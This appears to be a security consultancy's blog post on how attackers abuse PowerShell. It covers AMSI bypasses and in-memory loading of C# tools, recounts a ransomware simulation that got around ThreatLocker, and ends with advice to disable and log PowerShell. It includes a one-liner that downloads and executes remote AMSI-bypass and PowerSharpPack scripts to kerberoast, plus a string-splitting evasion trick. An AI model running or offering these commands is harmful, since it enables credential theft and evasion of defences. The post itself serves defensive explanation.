In 2002, Microsoft began to explore alternative approaches to the classic MS-DOS shell and just a short 4 years later we got PowerShell. PowerShell was intended to be a brand new, extensible command line interface (CLI) which allowed administrators to perform and automate a large range of administrative tasks from resetting user passwords to managing mailboxes. Seven years later, you’d be hard pressed to find a standard Windows sysadmin task that can’t be done with a few PowerShell commands.
One of the greatest powers of PowerShell was its ability to hook into existing Windows APIs to leverage the extensive power of these. PowerShell’s goal was to move away from having sysadmins needing to learn the exact syntax for WMI and instead provide a handy wrapper around all the common commands that a system administrator would ever need to use.
Powerful For an Attacker
This makes PowerShell incredibly powerful from a system administrator point of view, but of course, with great power comes great responsibility (or in our case, great flexibility for attacking Windows environments!). And from an attacker’s point of view, the best thing about PowerShell is that it is installed everywhere. Any modern Windows desktop or server has PowerShell enabled by default, which gives attackers a perfect platform to build modules, scripts, and as we’ll talk about later, a stepping stone for C# applications to assist with traversing corporate networks.
With PowerShell being pre-installed on all modern versions of Windows, attackers don’t need to install additional software to execute malicious commands on domain computers, instead, by living off the land, pretty much every PowerShell instance has the power to entirely reconfigure the domain and further exploit the network.
Initially, landing in a PowerShell session is a dream for attackers as they now have a native way to execute commands on a victim system. Over the years, various red teams, security researchers and APT groups have developed tools to facilitate further exploitation and increase the value of their compromise using the many features PowerShell has.
EDR & Static Analysis
Everyone’s heard of Mimikatz at some point in time, whether it’s been identified in actual antivirus logs or used to test existing security measures, Mimikatz offers a range of features dedicated to extracting password hashes to crack or authenticate to network resources with. As such, the tool is categorised as malware by almost every EDR solution and its execution is prevented immediately to avoid any sensitive information being dumped from the system.
To do this, EDR solutions have been developed over time to detect the hardcoded strings in the binary and eventually to observe the behaviour of mimikatz and trigger malware first response upon detection. Attackers naturally don’t like this, so the game of cat and mouse starts with attackers inventing new methods to run mimikatz and SOC teams creating new methods to detect execution before any harm can be done.
The most common detection method is to scan all executables for malicious indicators immediately after they have been written to disk. The binary can be analysed and compared to existing malware samples to find out if any part of the new executable exhibits previously seen behaviour. But attackers got wise to this and began executing malware over the network, bypassing static analysis altogether as the malicious code only exists in memory.
Microsoft made this even easier for attackers by generously providing an interface to allow users to write C# code in Powershell and having it execute without the need for compilation. As a result, basically any offensive toolset an attacker would want to use can be compiled into a DLL to be natively imported in a PowerShell module to avoid writing a file to disk. Most of these are freely accessible on GitHub for anyone and everyone to use:
Surely Microsoft is clued up on these malicious PowerShell scripts being used and offer a way to protect against this? Introducing Microsoft’s “Anti-malware Scan Interface” (AMSI)! AMSI is fairly simple to understand, anytime you try to run a script (e.g. VBScript, JScript, PowerShell), the contents of the script are sent to the AMSI engine where it attempts to detect malicious code within the script.
Only the issue is however, AMSI is well-known in the industry for being essentially useless with hundreds of trivial bypasses only a Google search away. As AMSI uses a fairly limited signature based system (where “Invok”+”e-”+Mi”+”Mi”+”Ka”+”tz” isn’t detected) and as its run within the existing process context (i.e. not in any privileged memory region), it’s trivial for the script to simply patch the memory where it is loaded (the basis for many AMSI bypasses).
Using these simple AMSI bypasses and the ability to reflectively load C# binaries, executing solely in memory without ever touching the disk is as simple as a few lines of PowerShell (example for kerberoasting):
iex(new-object net.webclient).downloadstring(‘https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1’) Invoke-AmsiBypass iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1') PowerSharpPack -Rubeus -Command "kerberoast /outfile:Roasted.txt"
During one of our ransomware simulation engagements, we were met with a selection of hosts utilising ThreatLocker – a commonly used application whitelisting / zero trust tool. Attempting to run any binary would be met with an alert saying something to the degree of:
“This binary has not been allowed by your organisation’s IT services. If you believe this is a mistake, submit a ticket with information of what you’re trying to run.”
For phishing attacks, something like this would have blocked our attack as our ransomware would have failed to execute (and with the side-effect of letting the SOC know that we tried to execute Company Salaries.pdf.exe.
However, this engagement was an “assumed compromise” engagement, for the cases where we assume that we’ve already got access to a host as a low privilege user (e.g. stolen VPN credentials, leaked O365 credentials, etc.) Knowing that we can’t run any arbitrary executable, we immediately looked at other ways we could execute our ransomware payload on the host.
A quick search on the Windows taskbar later, and we found that we could interact with PowerShell! We quickly reconfigured our payload to be built as a .NET application which we could compile to a DLL. As PowerShell allows us to load C# applications and call code directly from the C# application within PowerShell, we reflectively loaded our DLL containing our juicy ransomware encryption and a few lines of PowerShell later, our ransomware was running without any warning from the ThreatLocker solution.
Our recommendation is that PowerShell is disabled for all low privilege users. Generally speaking, your average employee simply doesn’t need PowerShell for their day-to-day business and leaving it enabled gives attackers a solid foundation to utilise in further compromise. Furthermore, logging attempted PowerShell executions can provide an early warning to your SOC that someone might be trying to do something they shouldn’t ever need to do.
Preventing PowerShell won’t prevent all compromise, and dedicated attackers will utilise a variety of other methods for execution, pivoting, and compromise, but blocking PowerShell is an effective defence-in-depth approach that can’t be understated.